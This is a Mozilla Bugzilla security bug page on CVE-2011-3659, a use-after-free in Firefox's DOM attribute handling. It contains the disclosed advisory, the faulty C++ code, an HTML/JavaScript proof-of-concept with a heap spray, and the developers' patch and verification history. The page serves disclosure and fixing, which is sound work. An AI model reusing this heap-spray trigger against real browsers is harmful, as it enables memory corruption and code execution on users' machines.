Bug 708198 (CVE-2011-3659)

AttributeChildRemoved Use-After-Free (ZDI-CAN-1413)

VERIFIED FIXED in Firefox 10

Status

()

Core
DOM
--
critical
VERIFIED FIXED
6 years ago
3 months ago

People

(Reporter: dveditz, Assigned: khuey)

Tracking

({csectype-uaf, regression})

unspecified
mozilla11
csectype-uaf, regression
Points:
---
Bug Flags:
in-testsuite ?

Firefox Tracking Flags

(firefox8- wontfix, firefox9- wontfix, firefox10+ verified, firefox11+ verified, firefox-esr10 unaffected, status1.9.2 unaffected)

Details

(Whiteboard: [sg:critical][qa!], crash signature)

Attachments

(2 attachments, 3 obsolete attachments)

(Reporter)

Description

6 years ago
Created attachment 579608 [details]
PoC from comment 0

ZDI-CAN-1413: Mozilla Firefox AttributeChildRemoved Use-After-Free
Remote Code Execution Vulnerability


-- CVSS -----------------------------------------

7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P


-- ABSTRACT -------------------------------------

TippingPoint has identified a vulnerability affecting the following
products:

  Mozilla Firefox


-- VULNERABILITY DETAILS ------------------------

Version(s) Tested: Mozilla Firefox 8.0.1
Platform(s) Tested: Windows XP SP3

---------------------
Vulnerability details
---------------------

Version(s) Tested: Mozilla Firefox 8.0.1
Platform(s) Tested: Windows XP SP3

---------------------
Vulnerability details
---------------------

Under certain circumstances, removal of child nodes from the
nsDOMAttribute can allow for a child to still be accessible after
removal due to a premature notification of AttributeChildRemoved.

Please observe the code below from base/src/nsDOMAttribute.cpp:


void nsDOMAttribute::doRemoveChild(bool aNotify)
{
  if (aNotify) {
    nsNodeUtils::AttributeChildRemoved(this, mChild);
  }

  static_cast<nsTextNode*>(mChild)->UnbindFromAttribute();
  NS_RELEASE(mChild);
  mFirstChild = nsnull;
}



As can be seen above, a call to the function AttributeChildRemoved()
happens before mFirstChild is set to NULL. Registered mutation
observers implementing interface nsIMutationObserver2 will have
callback function AttributeChildRemoved. Since mFirstChild is not set
to NULL until after this call is made, this means the removed child
will be accessible after it has been removed. This use-after-free
allows for arbitrary code execution by an attacker.

The code below can used to trigger and demonstrate the vulnerability:
---------------
Begin Code Snip
---------------

<html>
<head>
<script>
function run() {
  var attr = document.createAttribute("foo");
  attr.value = "bar";

  var ni = document.createNodeIterator(
    attr, NodeFilter.SHOW_ALL,
    {acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
    false);

  ni.nextNode();
  ni.nextNode();
  ni.previousNode();

  attr.value = null;

  // gc & heap spray
  const addr = unescape("%uc3c4%uc1c2");
  var container = new Array();
  var small = addr;
  while (small.length != 30)
    small += addr;
  for (i = 0; i < 1024*1024*2; ++i)
    container.push(unescape(small));

  ni.referenceNode;
  alert("PoC failed");
}
</script>
</head>
<body onload="run();">
</body>
</html>


----------------
End Of Code Snip
----------------

-- CREDIT ---------------------------------------

This vulnerability was discovered by:

   regenrecht
(Reporter)

Comment 1

6 years ago
Appears to be a regression from bug 590771
bp-54f3c170-d0ed-4425-bf02-121d32111206
Blocks: 590771
Crash Signature: [@ nsNodeIterator::GetReferenceNode ]
status1.9.2: --- → unaffected
status-firefox10: --- → affected
status-firefox8: --- → affected
status-firefox9: --- → affected
Keywords: regression
Whiteboard: [sg:critical]
ACID3 has changed. Let's just remove the ability to create node iterators in attribute nodes!
(Reporter)

Updated

6 years ago
Alias: CVE-2011-3659
(Reporter)

Comment 3

6 years ago
We should file a separate bug on removing the ability to create node iterators, and I guess this could depend on it. That doesn't sound like the kind of thing we would take on Beta and maybe not Aurora so is there a more localized fix for the security problem at hand?
status-firefox11: --- → affected
Kyle, Mounir is out of town this week, could you look into this? I'd be happy to kill features here, but that's not something I want to do for 9 or 10, which means we need a narrower fix here before we kill off this feature. Whether we can do this for 9 any more is questionable, but for 10 we most likely can still fix this.

Updated

6 years ago
tracking-firefox10: --- → +
tracking-firefox11: --- → +
tracking-firefox8: --- → -
tracking-firefox9: --- → +
Actually re-assigning.
Assignee: mounir → khuey
I'll dig into this first thing in the morning, but I really doubt this can make 9 given that code freeze is tomorrow evening.
Created attachment 580228 [details] [diff] [review]
Patch

So, fixing the crash isn't too hard, but I'm not sure what else may need to be done.  This fixes up nsDOMAttribute::doRemoveChild to put mChild and mFirstChild in a consistent state before notifying observers, and then continues to do the unbinding after notifying observers (this matches nsINode::doRemoveChildAt).

However, I don't know if we need the mutation guard/auto doc update stuff here.  Calls to nsDOMAttribute::doRemoveChild that come through RemoveChildAt have that ...
Attachment #580228 - Flags: review?(jst)
Created attachment 580237 [details] [diff] [review]
Patch

After reading what 1.9.2 looks like I think we want all calls to go through the mozAutoDocUpdate machinery.  This unifies us back into a single codepath like we had before Gecko 2.
Attachment #580228 - Attachment is obsolete: true
Attachment #580228 - Flags: review?(jst)
Attachment #580237 - Flags: review?(jst)
Created attachment 580243 [details] [diff] [review]
Patch v3

jst points out that NS_RELEASE does in fact set the pointer it operates on to null.
Attachment #580237 - Attachment is obsolete: true
Attachment #580237 - Flags: review?(jst)
Attachment #580243 - Flags: review?(jst)

Updated

6 years ago
Attachment #580243 - Flags: review?(jst) → review+
Attachment #580243 - Flags: approval-mozilla-aurora?
Created attachment 580370 [details] [diff] [review]
Patch v4

There was a bug in the previous patch.  The end of RemoveChildAt sets the value to null, which we don't want to do in all situations (like the one where we're blowing away mChild because we changed the value!).
Attachment #580243 - Attachment is obsolete: true
Attachment #580243 - Flags: approval-mozilla-aurora?
Attachment #580370 - Flags: review?(jst)

Updated

6 years ago
Attachment #580370 - Flags: review?(jst) → review+
https://hg.mozilla.org/integration/mozilla-inbound/rev/7a6b3a3c0a92
Flags: in-testsuite?
Target Milestone: --- → mozilla11
status-firefox8: affected → wontfix
Attachment #580370 - Flags: approval-mozilla-aurora?

Updated

6 years ago
status-firefox9: affected → wontfix
tracking-firefox9: + → -
This got merged to m-c today:
https://hg.mozilla.org/mozilla-central/rev/7a6b3a3c0a92
Status: NEW → RESOLVED
Last Resolved: 6 years ago
Resolution: --- → FIXED
(Reporter)

Updated

6 years ago
status-firefox11: affected → fixed
Comment on attachment 580370 [details] [diff] [review]
Patch v4

[Triage Comment]
Approved for Aurora. Please land on Monday 12/19 or earlier in order to make the cut-over to Beta.
Attachment #580370 - Flags: approval-mozilla-aurora? → approval-mozilla-aurora+
https://hg.mozilla.org/releases/mozilla-aurora/rev/1568bd0d4cb8
status-firefox10: affected → fixed
Whiteboard: [sg:critical] → [sg:critical][qa+]
Verified fixed in Firefox 11.0b6 using attached testcase.
status-firefox11: fixed → verified
Why wasn't this verified for 10?
(In reply to Kyle Huey [:khuey] (khuey@mozilla.com) from comment #16)
> Why wasn't this verified for 10?

I guess it was missed. At any rate, I've not verified it using Firefox 10.0.2.
Status: RESOLVED → VERIFIED
status-firefox10: fixed → verified
Whiteboard: [sg:critical][qa+] → [sg:critical][qa!]
(In reply to Anthony Hughes, Mozilla QA (irc: ashughes) from comment #17)
> (In reply to Kyle Huey [:khuey] (khuey@mozilla.com) from comment #16)
> > Why wasn't this verified for 10?
> 
> I guess it was missed. At any rate, I've not verified it using Firefox
> 10.0.2.

Obviously, that should have read "I've now verified it", not not.
(Reporter)

Updated

6 years ago
Attachment #579608 - Attachment is private: true
(Reporter)

Updated

6 years ago
Group: core-security
status-firefox-esr10: --- → unaffected
(Reporter)

Updated

5 years ago
Attachment #579608 - Attachment is private: false
(Reporter)

Updated

3 months ago
Keywords: csectype-uaf
You need to log in before you can comment on or make changes to this bug.